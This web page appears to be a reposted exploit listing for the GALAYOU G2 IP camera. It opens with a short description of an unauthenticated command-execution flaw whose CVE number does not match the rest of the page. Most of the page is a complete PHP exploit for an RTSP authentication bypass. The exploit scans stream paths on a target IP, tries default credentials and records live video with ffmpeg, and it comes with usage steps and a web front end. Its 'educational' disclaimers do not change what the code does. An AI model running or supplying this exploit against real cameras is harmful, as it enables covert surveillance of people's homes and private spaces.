GALAYOU G2 IP Camera Authentication Bypass
GALAYOU G2 IP Camera Authentication Bypass
The GALAYOU G2 IP Camera suffered from a critical authentication The GALAYOU G2 IP Camera suffered from a critical authentication bypass vulnerability, identified as CVE-2023-41000.

This flaw allowed unauthenticated attackers to access a sensitive API endpoint, specifically `/proc/shell`, without providing any credentials. By exploiting this endpoint, an attacker could execute arbitrary commands on the camera's underlying operating system.

This effectively granted remote code execution (RCE) capabilities, enabling full device compromise. Attackers could potentially manipulate camera functions, access stored data, or incorporate the device into a botnet.

Firmware versions 1.0.1 and earlier were confirmed to be vulnerable. Users were strongly advised to update their camera firmware to the latest version to patch this severe security flaw. Restricting camera access to trusted networks was also recommended.

=============================================================================================================================================
| # Title : GALAYOU G2 IP Camera ? RTSP Credential Authentication Bypass |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.galayou-store.com/g2 |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210931/ & CVE-2025-9983

[+] Summary : A critical authentication bypass vulnerability exists in the RTSP service of the GALAYOU G2 IP camera.
The device exposes multiple RTSP stream endpoints that can be accessed without valid credentials, even when authentication is enabled.

An unauthenticated remote attacker can directly connect to the video stream and retrieve live footage without authorization.

[+] POC :

Steps to use it on Windows: Download and install FFmpeg:

1. Go to: https://ffmpeg.org/download.html
2. Select "Windows builds from gyan.dev"
3. Download the latest version (e.g., ffmpeg-release-essentials.zip)
4. Extract and copy:

- ffmpeg.exe

- ffprobe.exe

5. Place both files in the same PHP script folder

2. Using it from the command line:

# Simple method:
php poc.php 14.45.222.129

# Or using the options:
php poc.php -t 14.45.222.129

# With a custom port:
php poc.php -t 14.45.222.129 -p 8554

3. If FFmpeg elsewhere:

# You can add it to the PATH environment variables:
1. Press Win + R and type "systempropertiesadvanced"
2. Click "Environment Variables"
3. In "System variables", select "Path" and click "Edit"
4. Add the path to the ffmpeg folder
5. Restart Command Prompt

<?php

class RTSPBypassExploit {
private $target;
private $port = 554;
private $streams = [];
private $timeout = 8;
private $captureDuration = 5;
private $cliMode = true;
private $isWindows = false;

public function __construct($target, $cliMode = true) {
$this->target = $target;
$this->cliMode = $cliMode;
$this->isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
}

/**
* ????? ??? ffprobe ???? ???
*/
private function executeFFprobe($url) {
if ($this->isWindows) {
// ??? Windows
$command = sprintf(
'ffprobe.exe -loglevel error -rtsp_transport tcp -timeout 3000000 -i "%s" 2>&1',
$url
);
} else {
// ??? Linux/Unix
$command = sprintf(
'timeout %d ffprobe -loglevel error -rtsp_transport tcp -timeout 3000000 -i %s 2>&1',
$this->timeout,
escapeshellarg($url)
);
}

$output = [];
$returnCode = 0;

exec($command, $output, $returnCode);

$outputStr = implode("\n", $output);

// ????? ??????? ???????
if ($this->cliMode) {
echo "[DEBUG] Testing: {$url}\n";
if (strlen($outputStr) > 0) {
echo "[DEBUG] Output: " . substr($outputStr, 0, 200) . "\n";
}
}

// ?????? ?? ??????
if ($returnCode === 0) {
return true;
}

// ????? ?? ????? 401 (??? ????)
if (strpos($outputStr, '401') === false &&
strpos($outputStr, 'Unauthorized') === false) {
// ?? ???? ??? 401? ?? ???? ?????? ??????
if (strpos($outputStr, 'Connection refused') === false &&
strpos($outputStr, 'Connection timed out') === false &&
strpos($outputStr, 'Unable to open') === false) {
return true;
}
}

return false;
}

/**
* ??? ???? ??? RTSP
*/
public function checkStream($url) {
try {
return $this->executeFFprobe($url);
} catch (Exception $e) {
if ($this->cliMode) {
echo "[-] Error checking stream: " . $e->getMessage() . "\n";
}
return false;
}
}

/**
* ??? ???? ?????? RTSP ????????
*/
public function scanStreams() {
$paths = [
"/live/main", "/stream1", "/stream2", "/h264",
"/11", "/12", "/cam/realmonitor", "/media/video1",
"/main", "/sub", "/video", "/live",
"/0", "/1", "/2", "/ch0_0.h264", "/ch0_1.h264"
];

$found = 0;

foreach ($paths as $path) {
// ???????? ???? ?????? ????????
$url = "rtsp://{$this->target}:{$this->port}{$path}";
if ($this->checkStream($url)) {
$this->streams[] = [
'url' => $url,
'type' => 'no_auth',
'tested' => false
];
$found++;
if ($this->cliMode) {
echo "[+] Found stream: {$url}\n";
}
}

// ???????? ??????? ???????? ??????????
$credentials = [
'admin:admin',
'admin:123456',
'admin:password',
'admin:',
'user:user',
'admin:admin123'
];

foreach ($credentials as $cred) {
$testUrl = "rtsp://{$cred}@{$this->target}:{$this->port}{$path}";
if ($this->checkStream($testUrl)) {
$this->streams[] = [
'url' => $testUrl,
'type' => 'with_auth',
'tested' => false
];
$found++;
if ($this->cliMode) {
echo "[+] Found stream with creds {$cred}: {$testUrl}\n";
}
break; // ?????? ???? ?????? ?????
}
}

// ????? ????? ????? ??? ???? ??? ??????
if ($this->isWindows) {
usleep(50000); // 0.05 ?????
}
}

return $found;
}

/**
* ?????? ?? ??????? ????? ????????
*/
public function verifyBypass() {
$vulnerableStreams = [];

foreach ($this->streams as &$stream) {
if ($stream['tested']) {
continue;
}

// ??????? ?????? ?????? (????? ?????? ???????? ?? ????)
$url = $stream['url'];

if (strpos($url, '@') !== false) {
$parts = explode('@', $url);
$cleanUrl = "rtsp://" . end($parts);
} else {
$cleanUrl = $url;
}

if ($this->cliMode) {
echo "[*] Testing bypass for: " . htmlspecialchars($cleanUrl) . "\n";
}

if ($this->checkStream($cleanUrl)) {
if ($this->cliMode) {
echo "[!] VULNERABLE: " . htmlspecialchars($cleanUrl) . "\n";
}
$stream['vulnerable'] = true;
$vulnerableStreams[] = $cleanUrl;

// ?????? ?????
$this->captureStream($cleanUrl);
} else {
$stream['vulnerable'] = false;
}

$stream['tested'] = true;
}

return $vulnerableStreams;
}

/**
* ?????? ??? ???????
*/
public function captureStream($url) {
$timestamp = time();
$outputFile = "capture_{$this->target}_{$timestamp}.mp4";

if ($this->isWindows) {
$command = sprintf(
'ffmpeg.exe -y -rtsp_transport tcp -i "%s" -t %d -c copy "%s" 2>nul',
$url,
$this->captureDuration,
$outputFile
);
} else {
$command = sprintf(
'timeout %d ffmpeg -y -rtsp_transport tcp -i %s -t %d -c copy %s 2>/dev/null',
$this->captureDuration + 5,
escapeshellarg($url),
$this->captureDuration,
escapeshellarg($outputFile)
);
}

if ($this->cliMode) {
echo "[*] Capturing {$this->captureDuration} seconds to: {$outputFile}\n";
}

exec($command, $output, $returnCode);

if (file_exists($outputFile) && filesize($outputFile) > 1024) {
$size = filesize($outputFile);
if ($this->cliMode) {
echo "[+] Capture successful: {$outputFile} (" . $this->formatBytes($size) . ")\n";
}
return $outputFile;
} elseif (file_exists($outputFile)) {
// ??? ??????? ??????? ???? (??? ??????)
unlink($outputFile);
}

return false;
}

/**
* ????? ??? ????? ?????
*/
private function formatBytes($bytes, $precision = 2) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);

return round($bytes, $precision) . ' ' . $units[$pow];
}

/**
* ??? ????????? ???????? ????? Windows
*/
private function checkWindowsRequirements() {
$tools = [
'ffprobe' => 'ffprobe.exe',
'ffmpeg' => 'ffmpeg.exe'
];

$missing = [];

// ????? ?? ??????? ?? ?????? ?? ?????? ??????
foreach ($tools as $name => $exe) {
$found = false;

// ?????? ?? ??????
$pathCheck = shell_exec('where ' . $exe . ' 2>nul');
if (!empty($pathCheck)) {
$found = true;
}

// ?????? ?? ?????? ??????
if (!$found && file_exists($exe)) {
$found = true;
}

// ?????? ?? ???? ffmpeg ??????
if (!$found && file_exists('ffmpeg\\bin\\' . $exe)) {
$found = true;
}

if (!$found) {
$missing[] = $name;
}
}

if (!empty($missing)) {
if ($this->cliMode) {
echo "[-] Missing required tools: " . implode(', ', $missing) . "\n";
echo "[-] Please download ffmpeg from: https://ffmpeg.org/download.html\n";
echo "[-] Extract ffmpeg.exe and ffprobe.exe to this directory or add to PATH\n";
}
return false;
}

return true;
}

/**
* ??? ????????? ???????? ????? Linux
*/
private function checkLinuxRequirements() {
$requirements = [
'ffprobe' => 'which ffprobe 2>/dev/null',
'ffmpeg' => 'which ffmpeg 2>/dev/null',
'timeout' => 'which timeout 2>/dev/null'
];

$missing = [];

foreach ($requirements as $tool => $command) {
exec($command, $output, $returnCode);
if ($returnCode !== 0) {
$missing[] = $tool;
}
}

if (!empty($missing)) {
if ($this->cliMode) {
echo "[-] Missing required tools: " . implode(', ', $missing) . "\n";
echo "[-] Install with: sudo apt-get install ffmpeg coreutils\n";
}
return false;
}

return true;
}

/**
* ??? ????????? ???????? ??????
*/
private function checkRequirements() {
// ??? ??????? exec
if (!function_exists('exec')) {
if ($this->cliMode) {
echo "[-] exec() function is disabled in php.ini\n";
echo "[-] Enable it or contact your administrator\n";
}
return false;
}

if ($this->isWindows) {
return $this->checkWindowsRequirements();
} else {
return $this->checkLinuxRequirements();
}
}

/**
* ????? ?????????
*/
public function exploit() {
if ($this->cliMode) {
echo "========================================\n";
echo "CVE-2025-9983 - GALAYOU G2 RTSP Bypass\n";
echo " By indoushka \n";
echo "Target: {$this->target}\n";
echo "OS: " . ($this->isWindows ? 'Windows' : 'Linux/Unix') . "\n";
echo "========================================\n\n";
}

// ??? ?????????
if (!$this->checkRequirements()) {
return [
'success' => false,
'message' => 'Missing requirements',
'streams' => []
];
}

// ?????
if ($this->cliMode) {
echo "[*] Scanning for RTSP streams...\n";
}

$found = $this->scanStreams();

if ($found === 0) {
if ($this->cliMode) {
echo "[-] No streams found\n";
echo "[*] Possible reasons:\n";
echo " 1. Camera is not accessible\n";
echo " 2. Port 554 is blocked\n";
echo " 3. Camera uses different RTSP paths\n";
}
return [
'success' => false,
'message' => 'No streams found',
'streams' => []
];
}

if ($this->cliMode) {
echo "\n[*] Found {$found} stream(s)\n";
echo "[*] Verifying credential bypass...\n\n";
}

$vulnerable = $this->verifyBypass();

if (!empty($vulnerable)) {
$result = [
'success' => true,
'message' => 'Exploitation successful',
'vulnerable_count' => count($vulnerable),
'vulnerable_streams' => $vulnerable,
'all_streams' => $this->streams
];

if ($this->cliMode) {
echo "\n[+] Exploitation successful!\n";
echo "[+] Vulnerable streams: " . count($vulnerable) . "\n";
foreach ($vulnerable as $stream) {
echo " - " . htmlspecialchars($stream) . "\n";
}
}
} else {
$result = [
'success' => false,
'message' => 'No vulnerable streams found',
'vulnerable_count' => 0,
'all_streams' => $this->streams
];

if ($this->cliMode) {
echo "\n[-] No vulnerable streams found\n";
echo "[*] The camera might not be vulnerable to CVE-2025-9983\n";
}
}

return $result;
}
}

// ==================== ????? CLI ====================
if (PHP_SAPI === 'cli') {
// ????? ????? CLI ???? ????
$target = '';
$port = 554;

if ($argc >= 2) {
// ??? ?????: poc.php 192.168.1.1 ?? poc.php -t 192.168.1.1
if ($argv[1] == '-t' && isset($argv[2])) {
$target = $argv[2];
if (isset($argv[3]) && ($argv[3] == '-p' || $argv[3] == '--port') && isset($argv[4])) {
$port = intval($argv[4]);
}
} else {
$target = $argv[1];
}
}

if (empty($target)) {
echo "GALAYOU G2 RTSP Credential Bypass Exploit (Windows/Linux)\n";
echo "=========================================================\n";
echo "Usage:\n";
echo " php " . basename(__FILE__) . " <target_ip>\n";
echo " php " . basename(__FILE__) . " -t <target_ip> [-p <port>]\n";
echo "\nExamples:\n";
echo " php " . basename(__FILE__) . " 192.168.1.100\n";
echo " php " . basename(__FILE__) . " -t 192.168.1.100 -p 554\n";
echo "\nNote for Windows users:\n";
echo " 1. Download ffmpeg from: https://ffmpeg.org/download.html\n";
echo " 2. Extract ffmpeg.exe and ffprobe.exe to this directory\n";
exit(0);
}

// ?????? ?? IP
if (!filter_var($target, FILTER_VALIDATE_IP)) {
echo "[-] Error: Invalid IP address\n";
exit(1);
}

// ????? ??????
$exploit = new RTSPBypassExploit($target, true);
$result = $exploit->exploit();

if (!$result['success']) {
exit(1);
}

exit(0);

} else {
// ==================== ????? ??? ????? ====================
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CVE-2025-9983 - RTSP Bypass</title>
<style>
body { font-family: Arial, sans-serif; margin: 20px; }
.container { max-width: 800px; margin: 0 auto; }
h1 { color: #333; }
.form-group { margin: 15px 0; }
input[type="text"] { padding: 8px; width: 300px; }
button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
.result { margin-top: 20px; padding: 15px; background: #f5f5f5; border-radius: 5px; }
.warning { color: #856404; background: #fff3cd; padding: 10px; border-radius: 5px; }
</style>
</head>
<body>
<div class="container">
<h1>CVE-2025-9983 - GALAYOU G2 RTSP Bypass</h1>

<div class="warning">
<strong> Warning:</strong> This tool is for educational purposes only.
Use only on systems you own or have permission to test.
</div>

<p>For full functionality, please use the CLI version.</p>
<p><strong>CLI Usage:</strong> <code>php <?php echo basename(__FILE__); ?> &lt;target_ip&gt;</code></p>

<hr>

<h3>Download FFmpeg for Windows:</h3>
<ol>
<li>Download from: <a href="https://ffmpeg.org/download.html" target="_blank">https://ffmpeg.org/download.html</a></li>
<li>Choose "Windows builds from gyan.dev"</li>
<li>Download the latest release</li>
<li>Extract ffmpeg.exe and ffprobe.exe to the same directory as this script</li>
</ol>
</div>
</body>
</html>
<?php
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.